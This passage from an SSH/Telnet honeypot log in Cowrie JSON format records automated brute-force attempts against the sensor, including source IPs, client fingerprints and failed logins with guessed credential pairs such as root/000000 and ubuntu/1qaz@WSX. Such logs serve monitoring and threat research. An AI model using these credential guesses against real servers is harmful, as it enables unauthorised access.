2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:30.419471Z","src_ip":"192.109.200.237","session":"031e4d1c93ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:30.669032Z","src_ip":"192.109.200.237","session":"031e4d1c93ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:31.754528Z","src_ip":"192.109.200.237","session":"031e4d1c93ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57468,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9064fbd8539","protocol":"ssh","message":"New connection: 192.109.200.237:57468 (159.203.135.109:22) [session: a9064fbd8539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:33.797010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:33.804076Z","src_ip":"192.109.200.237","session":"a9064fbd8539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:33.885736Z","src_ip":"192.109.200.237","session":"a9064fbd8539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:34.134028Z","src_ip":"192.109.200.237","session":"a9064fbd8539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:35.219378Z","src_ip":"192.109.200.237","session":"a9064fbd8539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57478,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d7af5fd362","protocol":"ssh","message":"New connection: 192.109.200.237:57478 (159.203.135.109:22) [session: d1d7af5fd362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:37.218786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:37.223934Z","src_ip":"192.109.200.237","session":"d1d7af5fd362","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:37.449007Z","src_ip":"192.109.200.237","session":"d1d7af5fd362","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:37.728618Z","src_ip":"192.109.200.237","session":"d1d7af5fd362","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30630087852478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:37.792081Z","src_ip":"50.6.8.71","session":"dec7f1c45384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:38.814843Z","src_ip":"192.109.200.237","session":"d1d7af5fd362","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44498,"dst_ip":"159.203.135.109","dst_port":22,"session":"443358d48859","protocol":"ssh","message":"New connection: 192.109.200.237:44498 (159.203.135.109:22) [session: 443358d48859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:40.919791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:40.923932Z","src_ip":"192.109.200.237","session":"443358d48859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:41.006805Z","src_ip":"192.109.200.237","session":"443358d48859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:41.251029Z","src_ip":"192.109.200.237","session":"443358d48859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:42.337333Z","src_ip":"192.109.200.237","session":"443358d48859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44518,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd40e1d0a68f","protocol":"ssh","message":"New connection: 192.109.200.237:44518 (159.203.135.109:22) [session: cd40e1d0a68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:44.490487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:44.494872Z","src_ip":"192.109.200.237","session":"cd40e1d0a68f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:44.576581Z","src_ip":"192.109.200.237","session":"cd40e1d0a68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:44.823514Z","src_ip":"192.109.200.237","session":"cd40e1d0a68f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:45.908476Z","src_ip":"192.109.200.237","session":"cd40e1d0a68f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"95876c8b193f","protocol":"ssh","message":"New connection: 103.27.238.114:56458 (10.17.0.5:22) [session: 95876c8b193f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:47.866269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:47.870503Z","src_ip":"103.27.238.114","session":"95876c8b193f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44536,"dst_ip":"159.203.135.109","dst_port":22,"session":"97cda021b0a7","protocol":"ssh","message":"New connection: 192.109.200.237:44536 (159.203.135.109:22) [session: 97cda021b0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.090055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.094464Z","src_ip":"192.109.200.237","session":"97cda021b0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.134745Z","src_ip":"103.27.238.114","session":"95876c8b193f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.175736Z","src_ip":"192.109.200.237","session":"97cda021b0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.423450Z","src_ip":"192.109.200.237","session":"97cda021b0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tresd5","message":"login attempt [root/tresd5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:48.927352Z","src_ip":"103.27.238.114","session":"95876c8b193f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:49.507954Z","src_ip":"192.109.200.237","session":"97cda021b0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:50.194396Z","src_ip":"103.27.238.114","session":"95876c8b193f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":38352,"dst_ip":"10.17.0.5","dst_port":23,"session":"0810846b23c5","protocol":"telnet","message":"New connection: 23.94.28.189:38352 (10.17.0.5:23) [session: 0810846b23c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:50.891864Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44618,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f22f58cc87","protocol":"ssh","message":"New connection: 192.109.200.237:44618 (159.203.135.109:22) [session: 16f22f58cc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:51.551855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:51.557204Z","src_ip":"192.109.200.237","session":"16f22f58cc87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49878406524658,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:51.608724Z","src_ip":"50.6.8.71","session":"22163a039757","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:51.638862Z","src_ip":"192.109.200.237","session":"16f22f58cc87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:51.886311Z","src_ip":"192.109.200.237","session":"16f22f58cc87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":36534,"dst_ip":"10.17.0.5","dst_port":22,"session":"19002205acfb","protocol":"ssh","message":"New connection: 103.98.149.87:36534 (10.17.0.5:22) [session: 19002205acfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:52.810638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:52.825349Z","src_ip":"103.98.149.87","session":"19002205acfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:52.971076Z","src_ip":"192.109.200.237","session":"16f22f58cc87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:53.035652Z","src_ip":"103.98.149.87","session":"19002205acfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"businka","message":"login attempt [root/businka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:53.919469Z","src_ip":"103.98.149.87","session":"19002205acfb","protocol":"ssh"}
